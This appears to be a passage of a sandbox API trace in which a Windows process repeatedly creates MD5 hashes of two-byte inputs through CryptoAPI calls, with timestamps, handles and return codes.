	[0068.022] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.022] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.022] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.022] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.022] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.022] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.022] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.022] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.022] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.022] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.022] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.022] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.022] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.023] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.023] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.023] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.023] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.023] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.023] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.023] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.023] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.023] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.023] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.023] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.023] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.023] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.023] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.023] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.023] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.024] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.024] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.024] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.024] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.024] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.024] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.024] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.024] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.024] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.024] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.024] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.024] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.024] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.024] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.024] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.025] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.025] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.025] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.025] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.025] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.025] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.025] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.025] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.025] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.025] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.025] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.025] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.025] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.025] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.025] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.026] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.026] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.030] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.030] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.030] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.030] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.030] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.030] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.031] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.031] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.031] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.031] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.031] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.031] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.031] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.031] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.031] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.031] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.031] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.031] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.031] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.031] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.031] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.032] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.032] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.032] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.032] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.032] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.032] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.032] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.032] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.032] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.032] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.032] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.032] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.032] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.032] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.032] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.032] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.033] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.033] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.033] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.033] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.033] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.033] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.033] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.033] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.033] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.033] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.033] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.033] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.033] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.034] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.034] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.034] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.034] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.034] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.034] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.034] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.034] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.034] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.034] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.034] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.034] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.034] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.034] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.034] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.035] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.035] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.035] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.035] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.035] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.035] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.035] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.035] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.035] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.035] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.035] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.035] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.035] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.035] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.036] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.036] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.036] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.036] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.036] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.036] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.036] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.036] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.036] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.036] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.036] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.036] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.036] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.036] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.037] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.037] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.037] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.037] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.037] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.037] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.037] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.037] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.037] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.037] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.037] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.037] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.037] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.037] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.037] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.038] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.038] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.038] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.038] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.038] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.038] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.038] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.038] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.038] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.038] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.038] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.038] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.038] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.038] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.038] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.038] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.038] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.038] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.039] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.039] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.039] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.039] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.039] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.039] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.039] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.039] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.039] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.039] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.039] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.039] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.039] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.039] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.040] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.040] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.040] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.040] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.040] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.040] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.040] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.040] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.040] CryptDestroyHash (hHash=0x39d8c0) returned 1
